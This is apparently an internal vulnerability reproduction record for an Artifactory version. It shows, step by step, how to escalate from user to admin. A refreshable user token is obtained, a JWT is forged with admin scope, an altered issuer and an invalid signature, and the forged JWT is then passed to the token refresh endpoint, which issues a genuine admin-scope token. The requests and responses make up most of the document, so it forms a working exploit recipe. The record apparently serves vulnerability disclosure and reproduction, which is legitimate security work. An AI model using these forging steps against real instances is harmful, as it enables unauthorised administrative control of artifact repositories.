=== RTDEV-92030 Vulnerability Reproduction Proof ===
Date: 2026-07-26
Artifactory Version: 7.146.25 (OSS)
Vulnerability: JWT signature verification bypass in token refresh endpoint

=== Step 1: Create refreshable token with user scope ===
POST /api/security/token
grant_type=client_credentials, username=admin, scope=applied-permissions/user, refreshable=true

Response:
- access_token: JWT with scp=applied-permissions/user
- refresh_token: ba00ce4d-6516-4e5b-80ac-194002033390
- scope: applied-permissions/user

=== Step 2: Forge JWT with admin scope ===
Modified JWT payload:
- scp changed from "applied-permissions/user" to "applied-permissions/admin"
- iss changed from "jfrt@.../users/admin" to "jfrt@..." (removed /users/ suffix)
- Signature replaced with "invalid-signature" (base64url encoded)

=== Step 3: Refresh token with forged JWT ===
POST /api/security/token
grant_type=refresh_token, refresh_token=<valid>, access_token=<forged JWT>

Response:
- access_token: NEW JWT with scp=applied-permissions/admin
- refresh_token: 47118cce-ad0a-4f07-9981-6e67415a75ce
- scope: applied-permissions/admin

=== VULNERABILITY CONFIRMED ===
Artifactory 7.146.25 accepted the forged JWT with invalid signature and admin scope.
The token refresh endpoint returned a new token with admin scope.
This proves privilege escalation from user to admin via JWT signature bypass.